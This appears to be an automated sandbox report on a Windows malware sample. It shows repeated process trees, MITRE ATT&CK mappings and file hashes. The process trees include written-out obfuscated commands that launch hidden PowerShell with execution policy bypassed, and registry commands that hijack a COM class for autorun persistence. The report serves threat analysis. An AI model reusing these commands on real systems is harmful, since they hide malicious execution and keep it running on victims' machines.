    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:4292
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:3876
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:3520

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.vbs"
1⤵
PID:3304

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat""
  2⤵
  PID:1348
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:3068
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    - Modifies registry key
    PID:3768
- - C:\Windows\system32\cmd.exe
    cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
    3⤵
    PID:2720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      PID:4820
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2468

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.vbs"
1⤵
PID:848

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:2368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat""
  2⤵
  PID:3420
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:3184
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    - Modifies registry key
    PID:4292
- - C:\Windows\system32\cmd.exe
    cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
    3⤵
    PID:3876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      PID:4648
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:3784

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.vbs"
1⤵
PID:3804

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:3128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat""
  2⤵
  PID:3780
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:4860
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    - Modifies registry key
    PID:1332
- - C:\Windows\system32\cmd.exe
    cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
    3⤵
    PID:2544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      PID:1856
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:1440
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:3360

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.vbs"
1⤵
PID:3668

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat""
  2⤵
  PID:1784
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:2292
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    - Modifies registry key
    PID:2992
- - C:\Windows\system32\cmd.exe
    cMd.E"x"e /c =PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
    3⤵
    PID:1088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PoWerShelL"."eXe -noP -WIn hIdDen -ep ByPaSs -Command "& 'C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1'"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      PID:5024
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:3520
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

BITS Jobs

T1197

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DNTTJVXKZLJCCXFODKZSQE.bat

Path C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.bat
Size 706B
SHA256 883ceabf16cfbd2900ada1201ae241e78ba7000e265e42eec296025d89fcd476
MD5 d06abcde23d2d32032485b849f74618f
SHA1 5f77aa8f64701f178f2db048ed4b4937fa8568fb
SHA512 03f65ba982e07780eb00a4e4b7e9b1bfffed5bb493c25207d71368a4760dfeb7b70524710c8b2fd1a73d3ab168f66deb8e03845e346235ec6dbbae25d3a1f695
MD5 SHA1 SHA512

Submit Download

DNTTJVXKZLJCCXFODKZSQE.ps1

Path C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.ps1
Size 3KB
SHA256 b62afb5df50db05a0c7745c977c30edcda0eb6ef69244101958c93438128b913
MD5 e051694e565da8588b13991238e33a99
SHA1 58d95f665138830d3a9eb4486a7c68ee09aa5ae3
SHA512 df1d5a40870660517e0f277e9e3df30051394bb39a39d2ee9ff3dfe36842d943df949539d958e76d848f251fabb3102a9d5ce95d944716f67ff9bebe423e1b68
MD5 SHA1 SHA512

Submit Download

DNTTJVXKZLJCCXFODKZSQE.vbs

Path C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\DNTTJVXKZLJCCXFODKZSQE.vbs
Size 1KB
SHA256 3259db8c427af2468418420eb5d42102dae8d422b370ebef742da144a01310e2
MD5 6ee90b3ed21b56b06f723c0c0cd7e314
SHA1 07aa736da386b2c0e10e6391be422026ccc1757f
SHA512 92f4b866c25176b502fac7d572d1cd48bfe801fce6efd2e2f3d7846229407efa0ed3a697b8825659e3e17fda73d5cf02114920cafa9399b0ac8e79087b15a3b1
MD5 SHA1 SHA512

Submit Download

FFBLHLNEHNCWJTCUUBSRAY.ps1

Path C:\ProgramData\DNTTJVXKZLJCCXFODKZSQE\FFBLHLNEHNCWJTCUUBSRAY.ps1
Size 684KB
SHA256 861490d84ca62a2af51e34eded636423bfa06a97d2a403888492ac03d33d1df1
MD5 6872cc9f41e6def26c416769944dab20
SHA1 8f0ef582a45a3010d427c543fa8c103e1cabe3dd
SHA512 c8c2d7b9debc715a8613a6af70ccb0dcd5eb2eebfc750fafbce5b9bec3945949c4b64bef216bb8735f0697830964777a62d980cb03e007097864d2ddaa41bc7e
SSDEEP 1536:guvJlD6p4y2PgsPqQjGsq6+duxCwD7/CjXH5+P8pqj/b13mc7NklEfxl7J70hl+p:j
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 a529468d442b807290b41565130e4c52760af9abec37613114db3857f11ad4fe
MD5 00e7da020005370a518c26d5deb40691
SHA1 389b34fdb01997f1de74a5a2be0ff656280c0432
SHA512 9a02bacc6fb922d6202548e80e345c6cdec346b79ef7ac7a56f89fd342ff128de004065b9d010d015b54d4ca72f665ca658c7ffcd8eb906e14bfa5b48b43f2cf
MD5 SHA1 SHA512

Submit Download

aspnet_compiler.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_compiler.exe.log
Size 425B
SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
MD5 4eaca4566b22b01cd3bc115b9b0b2196
SHA1 e743e0792c19f71740416e7b3c061d9f1336bf94
SHA512 bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1
MD5 SHA1 SHA512

Submit Download